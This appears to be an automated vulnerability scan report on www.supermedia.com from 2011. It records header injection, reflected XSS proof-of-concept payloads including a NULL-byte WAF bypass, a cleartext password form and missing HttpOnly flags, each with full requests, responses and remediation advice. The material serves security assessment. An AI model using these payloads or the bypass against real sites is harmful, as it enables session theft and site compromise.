HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the &tsrc request parameter is copied into the Set-Cookie response header. The payload 68d81%0d%0a4d208d5e6db was submitted in the &tsrc parameter. This caused a response containing an injected HTTP header.
Request
GET /business-listings/business-profile?&tsrc=68d81%0d%0a4d208d5e6db&campaignId=BP:Update+Your+Profile+Top HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:35 GMT Set-Cookie: JSESSIONID=45AE3CAD75B7C29FEEE090D42CF18AE6.app8-a1; Path=/ Set-Cookie: trafficSource="68d81 4d208d5e6db"; Expires=Sat, 05-Mar-2011 17:05:33 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:33 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
The value of REST URL parameter 2 is copied into the Location response header. The payload 3e3db%0d%0ab735c4f3a4c was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aac2e"%3balert(1)//8d034beed23 was submitted in the campaignId parameter. This input was echoed as aac2e";alert(1)//8d034beed23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business-listings?tsrc=SP&campaignId=SP_FT_AddEditaBusinessaac2e"%3balert(1)//8d034beed23 HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:53 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Get Your Free Business Listing | SuperMedia.com Advertising</title>
The value of the tsrc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20b9c"%3balert(1)//623d3053168 was submitted in the tsrc parameter. This input was echoed as 20b9c";alert(1)//623d3053168 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business-listings?tsrc=SP20b9c"%3balert(1)//623d3053168&campaignId=SP_FT_AddEditaBusiness HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:48 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Get Your Free Business Listing | SuperMedia.com Advertising</title>
The value of the &tsrc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 198c8"%3balert(1)//96cb9badcf2 was submitted in the &tsrc parameter. This input was echoed as 198c8";alert(1)//96cb9badcf2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business-listings/business-profile?&tsrc=SP198c8"%3balert(1)//96cb9badcf2&campaignId=BP:Update+Your+Profile+Top HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:34 GMT Set-Cookie: JSESSIONID=B9B8A68CD261E7EEF56BA494FDEE7747.app3-a1; Path=/ Set-Cookie: trafficSource="SP198c8\";alert(1)//96cb9badcf2"; Expires=Sat, 05-Mar-2011 17:05:33 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:33 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00647f4"%3balert(1)//acd0e29ec22 was submitted in the campaignId parameter. This input was echoed as 647f4";alert(1)//acd0e29ec22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /business-listings/business-profile?&tsrc=SP&campaignId=BP:Update+Your+Profile+Top%00647f4"%3balert(1)//acd0e29ec22 HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:48 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7d7a"%3balert(1)//5f4e0e8915 was submitted in the campaignId parameter. This input was echoed as b7d7a";alert(1)//5f4e0e8915 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business-listings/business-profile?&tsrc=SP&campaignId=BP:Update+Your+Profile+Topb7d7a"%3balert(1)//5f4e0e8915 HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:45 GMT Set-Cookie: JSESSIONID=63B1953F08BCF0514CDCD4855AE3E1E8.app7-a1; Path=/ Set-Cookie: trafficSource=SP; Expires=Sat, 05-Mar-2011 17:05:41 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:41 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f17b"%3balert(1)//351308f1023 was submitted in the campaignId parameter. This input was echoed as 6f17b";alert(1)//351308f1023 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /online-advertising?tsrc=SP&campaignId=SP_FT_AdvertiseWithUs6f17b"%3balert(1)//351308f1023 HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:33 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
The value of the tsrc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9e22"%3balert(1)//51aaefb74c6 was submitted in the tsrc parameter. This input was echoed as b9e22";alert(1)//51aaefb74c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /online-advertising?tsrc=SPb9e22"%3balert(1)//51aaefb74c6&campaingnId=SP_listing_header HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:13 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 60377</script><script>alert(1)</script>5e2b578442b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:14:04 GMT Content-Type: text/html;charset=UTF-8 Connection: close Cache-Control: private Content-Length: 20813
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.channel=""; s.pagetype=""; s.server=""; s.referrer="http://www.google.com/search?hl=en&q=60377</script><script>alert(1)</script>5e2b578442b"; s.pageName=""; s.prop1=""; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=" ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3575c"-alert(1)-"7068f2207e8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /spportal/img-spportal/supermedia/background/bkg_left_col_top_shadow_top.gif HTTP/1.1 Host: www.supermedia.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=3575c"-alert(1)-"7068f2207e8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; trafficSource="SP198c8\"; CstrStatus=U; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; mbox=check#true#1296759589|session#1296759528614-838261#1296761389
Response (redirected)
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:13:57 GMT Content-Type: text/html;charset=UTF-8 Connection: close Cache-Control: private Content-Length: 20791
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Online Advertising : Superpages Small Business Online Advertising</title>
...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.channel=""; s.pagetype=""; s.server=""; s.referrer="http://www.google.com/search?hl=en&q=3575c"-alert(1)-"7068f2207e8"; s.pageName=""; s.prop1=""; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=" ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.supermedia.com/spportal/indexLogin.do
The form contains the following password field:
password
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET / HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:15:20 GMT Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Small Business Marketing and Internet Advertising | SuperMedia.com</title>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /business-listings/business-profile HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:22 GMT Set-Cookie: JSESSIONID=EC46A4F4D993EF332F174AE1AA16FC4B.app5-a1; Path=/ Set-Cookie: trafficSource=default; Expires=Sat, 05-Mar-2011 17:05:20 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:20 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
...[SNIP]...
5. Cross-domain Referer leakagepreviousnext There are 3 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /business-listings/business-profile?&tsrc=SP&campaignId=BP:Update+Your+Profile+Top HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:27 GMT Set-Cookie: JSESSIONID=092FA3BEFBEB28C777C8CB0334943082.app2-a1; Path=/ Set-Cookie: trafficSource=SP; Expires=Sat, 05-Mar-2011 17:05:25 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:25 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /business-listings/business-profile HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:22 GMT Set-Cookie: JSESSIONID=EC46A4F4D993EF332F174AE1AA16FC4B.app5-a1; Path=/ Set-Cookie: trafficSource=default; Expires=Sat, 05-Mar-2011 17:05:20 GMT; Path=/ Set-Cookie: CstrStatus=U; Expires=Sat, 05-Mar-2011 17:05:20 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Your Business Profile | SuperMedia.com Advertising</title>
...[SNIP]... <div id = "sidebar_icons"> <script type="text/javascript" src="http://www.superpages.com/inc/social/soc.php?cg=3,24,0,1,1,2,3,8,9&ml=1"></script> ...[SNIP]...
GET /careers HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:58 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Careers</title>
<link type="text/css" rel="stylesh ...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at https://accounts.brightcove.com/en/terms-and-conditions/. -->
GET /client-solutions/client-stories HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:17:16 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Client Stories Sign Up | SuperMedia.com Advertising</title>
...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
GET /direct-mail HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:15:31 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Direct Mail Advertising - Reach Local Customers with Direct Mail | SuperMedia.com Adverti ...[SNIP]... <div id = "sidebar_icons"> <script type="text/javascript" src="http://www.superpages.com/inc/social/soc.php?cg=3,24,0,1,1,2,3,8,9&ml=1"></script> ...[SNIP]...
GET /direct-mail/postcards HTTP/1.1 Host: www.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; trafficSource="SP198c8\"; s_sq=%5B%5BB%5D%5D; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; CstrStatus=U; undefined_s=First%20Visit; mbox=check#true#1296759636|session#1296759528614-838261#1296761436;
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:16:27 GMT Content-Type: text/html;charset=UTF-8 Content-Language: en Connection: close
